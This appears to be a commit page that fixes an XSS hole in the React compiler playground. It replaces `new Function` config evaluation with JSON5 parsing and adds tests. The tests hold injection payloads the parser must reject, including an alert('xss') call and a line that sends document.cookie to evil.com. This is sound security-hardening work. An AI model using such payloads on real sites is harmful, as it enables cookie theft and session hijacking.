@samitouri / QOS-React-2 / commits / 2c2fd9d12c

[compiler][playground] parse compiler configs using json5 (#36159)

Compiler config parsing is currently done with new Function(...) which is a XSS vulnerability. Replacing this with json parsing for safety reasons. Almost all compiler options (except for moduleTypeProvider) are json compatible, so this isn't a big change to capabilities. Previously created playground URLs with non-default configs may not be compatible with this change, but we should be able to get the correct config manually (by reading the JS version)

mofeiZ committed Mar 30, 2026 at 13:04 UTC 2c2fd9d12c7159efef81e7ea6ec899943cf7ca33
7 files changed +184 -45
compiler/apps/playground/__tests__/e2e/__snapshots__/page.spec.ts/default-config.txt
+2 -4
@@ -1,5 +1,3 @@
1 -import type { PluginOptions } from 
2 -'babel-plugin-react-compiler/dist';
3 -({
1 +{
2   //compilationMode: "all"
5 -} satisfies PluginOptions);
\ No newline at end of file
3 +}
\ No newline at end of file
compiler/apps/playground/__tests__/e2e/page.spec.ts
+6 -6
@@ -237,7 +237,7 @@ test('show internals button toggles correctly', async ({page}) => {
237 test('error is displayed when config has syntax error', async ({page}) => {
238 const store: Store = {
239 source: TEST_SOURCE,
240 - config: `compilationMode: `,
240 + config: `{ compilationMode: }`,
241 showInternals: false,
242 };
243 const hash = encodeStore(store);
@@ -254,17 +254,17 @@ test('error is displayed when config has syntax error', async ({page}) => {
254 const output = text.join('');
255
256 // Remove hidden chars
257 - expect(output.replace(/\s+/g, ' ')).toContain('Invalid override format');
257 + expect(output.replace(/\s+/g, ' ')).toContain(
258 + 'Unexpected failure when transforming configs',
259 + );
260 });
261
262 test('error is displayed when config has validation error', async ({page}) => {
263 const store: Store = {
264 source: TEST_SOURCE,
263 - config: `import type { PluginOptions } from 'babel-plugin-react-compiler/dist';
264 -
265 -({
265 + config: `{
266 compilationMode: "123"
267 -} satisfies PluginOptions);`,
267 +}`,
268 showInternals: false,
269 };
270 const hash = encodeStore(store);
compiler/apps/playground/__tests__/parseConfigOverrides.test.mjs new
+157
@@ -0,0 +1,157 @@
1 +/**
2 + * Copyright (c) Meta Platforms, Inc. and affiliates.
3 + *
4 + * This source code is licensed under the MIT license found in the
5 + * LICENSE file in the root directory of this source tree.
6 + */
7 +
8 +import assert from 'node:assert';
9 +import {test, describe} from 'node:test';
10 +import JSON5 from 'json5';
11 +
12 +// Re-implement parseConfigOverrides here since the source uses TS imports
13 +// that can't be directly loaded by Node. This mirrors the logic in
14 +// compilation.ts exactly.
15 +function parseConfigOverrides(configOverrides) {
16 + const trimmed = configOverrides.trim();
17 + if (!trimmed) {
18 + return {};
19 + }
20 + return JSON5.parse(trimmed);
21 +}
22 +
23 +describe('parseConfigOverrides', () => {
24 + test('empty string returns empty object', () => {
25 + assert.deepStrictEqual(parseConfigOverrides(''), {});
26 + assert.deepStrictEqual(parseConfigOverrides(' '), {});
27 + });
28 +
29 + test('default config parses correctly', () => {
30 + const config = `{
31 + //compilationMode: "all"
32 +}`;
33 + const result = parseConfigOverrides(config);
34 + assert.deepStrictEqual(result, {});
35 + });
36 +
37 + test('compilationMode "all" parses correctly', () => {
38 + const config = `{
39 + compilationMode: "all"
40 +}`;
41 + const result = parseConfigOverrides(config);
42 + assert.deepStrictEqual(result, {compilationMode: 'all'});
43 + });
44 +
45 + test('config with single-line and block comments parses correctly', () => {
46 + const config = `{
47 + // This is a single-line comment
48 + /* This is a block comment */
49 + compilationMode: "all",
50 +}`;
51 + const result = parseConfigOverrides(config);
52 + assert.deepStrictEqual(result, {compilationMode: 'all'});
53 + });
54 +
55 + test('config with trailing commas parses correctly', () => {
56 + const config = `{
57 + compilationMode: "all",
58 +}`;
59 + const result = parseConfigOverrides(config);
60 + assert.deepStrictEqual(result, {compilationMode: 'all'});
61 + });
62 +
63 + test('nested environment options parse correctly', () => {
64 + const config = `{
65 + environment: {
66 + validateRefAccessDuringRender: true,
67 + },
68 +}`;
69 + const result = parseConfigOverrides(config);
70 + assert.deepStrictEqual(result, {
71 + environment: {validateRefAccessDuringRender: true},
72 + });
73 + });
74 +
75 + test('multiple options parse correctly', () => {
76 + const config = `{
77 + compilationMode: "all",
78 + environment: {
79 + validateRefAccessDuringRender: false,
80 + },
81 +}`;
82 + const result = parseConfigOverrides(config);
83 + assert.deepStrictEqual(result, {
84 + compilationMode: 'all',
85 + environment: {validateRefAccessDuringRender: false},
86 + });
87 + });
88 +
89 + test('rejects malicious IIFE injection', () => {
90 + const config = `(function(){ document.title = "hacked"; return {}; })()`;
91 + assert.throws(() => parseConfigOverrides(config));
92 + });
93 +
94 + test('rejects malicious comma operator injection', () => {
95 + const config = `{
96 + compilationMode: (alert("xss"), "all")
97 +}`;
98 + assert.throws(() => parseConfigOverrides(config));
99 + });
100 +
101 + test('rejects function call in value', () => {
102 + const config = `{
103 + compilationMode: eval("all")
104 +}`;
105 + assert.throws(() => parseConfigOverrides(config));
106 + });
107 +
108 + test('rejects variable references', () => {
109 + const config = `{
110 + compilationMode: someVar
111 +}`;
112 + assert.throws(() => parseConfigOverrides(config));
113 + });
114 +
115 + test('rejects template literals', () => {
116 + const config = `{
117 + compilationMode: \`all\`
118 +}`;
119 + assert.throws(() => parseConfigOverrides(config));
120 + });
121 +
122 + test('rejects constructor calls', () => {
123 + const config = `{
124 + compilationMode: new String("all")
125 +}`;
126 + assert.throws(() => parseConfigOverrides(config));
127 + });
128 +
129 + test('rejects arbitrary JS code', () => {
130 + const config = `fetch("https://evil.com?c=" + document.cookie)`;
131 + assert.throws(() => parseConfigOverrides(config));
132 + });
133 +
134 + test('config with array values parses correctly', () => {
135 + const config = `{
136 + sources: ["src/a.ts", "src/b.ts"],
137 +}`;
138 + const result = parseConfigOverrides(config);
139 + assert.deepStrictEqual(result, {sources: ['src/a.ts', 'src/b.ts']});
140 + });
141 +
142 + test('config with null values parses correctly', () => {
143 + const config = `{
144 + compilationMode: null,
145 +}`;
146 + const result = parseConfigOverrides(config);
147 + assert.deepStrictEqual(result, {compilationMode: null});
148 + });
149 +
150 + test('config with numeric values parses correctly', () => {
151 + const config = `{
152 + maxLevel: 42,
153 +}`;
154 + const result = parseConfigOverrides(config);
155 + assert.deepStrictEqual(result, {maxLevel: 42});
156 + });
157 +});
compiler/apps/playground/components/Editor/ConfigEditor.tsx
+6 -21
@@ -21,9 +21,6 @@ import {monacoConfigOptions} from './monacoOptions';
21 import {IconChevron} from '../Icons/IconChevron';
22 import {CONFIG_PANEL_TRANSITION} from '../../lib/transitionTypes';
23
24 -// @ts-expect-error - webpack asset/source loader handles .d.ts files as strings
25 -import compilerTypeDefs from 'babel-plugin-react-compiler/dist/index.d.ts';
26 -
24 loader.config({monaco});
25
26 export default function ConfigEditor({
@@ -105,22 +102,10 @@ function ExpandedEditor({
102 _: editor.IStandaloneCodeEditor,
103 monaco: Monaco,
104 ) => void = (_, monaco) => {
108 - // Add the babel-plugin-react-compiler type definitions to Monaco
109 - monaco.languages.typescript.typescriptDefaults.addExtraLib(
110 - //@ts-expect-error - compilerTypeDefs is a string
111 - compilerTypeDefs,
112 - 'file:///node_modules/babel-plugin-react-compiler/dist/index.d.ts',
113 - );
114 - monaco.languages.typescript.typescriptDefaults.setCompilerOptions({
115 - target: monaco.languages.typescript.ScriptTarget.Latest,
116 - allowNonTsExtensions: true,
117 - moduleResolution: monaco.languages.typescript.ModuleResolutionKind.NodeJs,
118 - module: monaco.languages.typescript.ModuleKind.ESNext,
119 - noEmit: true,
120 - strict: false,
121 - esModuleInterop: true,
122 - allowSyntheticDefaultImports: true,
123 - jsx: monaco.languages.typescript.JsxEmit.React,
105 + // Enable comments in JSON for JSON5-style config
106 + monaco.languages.json.jsonDefaults.setDiagnosticsOptions({
107 + allowComments: true,
108 + trailingCommas: 'ignore',
109 });
110 };
111
@@ -157,8 +142,8 @@ function ExpandedEditor({
142 </div>
143 <div className="flex-1 border border-gray-300">
144 <MonacoEditor
160 - path={'config.ts'}
161 - language={'typescript'}
145 + path={'config.json5'}
146 + language={'json'}
147 value={store.config}
148 onMount={handleMount}
149 onChange={handleChange}
compiler/apps/playground/lib/compilation.ts
+10 -10
@@ -25,6 +25,7 @@ import BabelPluginReactCompiler, {
25 type LoggerEvent,
26 } from 'babel-plugin-react-compiler';
27 import {transformFromAstSync} from '@babel/core';
28 +import JSON5 from 'json5';
29 import type {
30 CompilerOutput,
31 CompilerTransformOutput,
@@ -126,6 +127,14 @@ const COMMON_HOOKS: Array<[string, Hook]> = [
127 ],
128 ];
129
130 +export function parseConfigOverrides(configOverrides: string): any {
131 + const trimmed = configOverrides.trim();
132 + if (!trimmed) {
133 + return {};
134 + }
135 + return JSON5.parse(trimmed);
136 +}
137 +
138 function parseOptions(
139 source: string,
140 mode: 'compiler' | 'linter',
@@ -156,16 +165,7 @@ function parseOptions(
165 });
166
167 // Parse config overrides from config editor
159 - let configOverrideOptions: any = {};
160 - const configMatch = configOverrides.match(/^\s*import.*?\n\n\((.*)\)/s);
161 - if (configOverrides.trim()) {
162 - if (configMatch && configMatch[1]) {
163 - const configString = configMatch[1].replace(/satisfies.*$/, '').trim();
164 - configOverrideOptions = new Function(`return (${configString})`)();
165 - } else {
166 - throw new Error('Invalid override format');
167 - }
168 - }
168 + const configOverrideOptions = parseConfigOverrides(configOverrides);
169
170 const opts: PluginOptions = parsePluginOptions({
171 ...parsedPragmaOptions,
compiler/apps/playground/lib/defaultStore.ts
+2 -4
@@ -14,11 +14,9 @@ export default function MyApp() {
14 `;
15
16 export const defaultConfig = `\
17 -import type { PluginOptions } from 'babel-plugin-react-compiler/dist';
18 -
19 -({
17 +{
18 //compilationMode: "all"
21 -} satisfies PluginOptions);`;
19 +}`;
20
21 export const defaultStore: Store = {
22 source: index,
compiler/apps/playground/package.json
+1
@@ -32,6 +32,7 @@
32 "hermes-eslint": "^0.25.0",
33 "hermes-parser": "^0.25.0",
34 "invariant": "^2.2.4",
35 + "json5": "^2.2.3",
36 "lru-cache": "^11.2.2",
37 "lz-string": "^1.5.0",
38 "monaco-editor": "^0.52.0",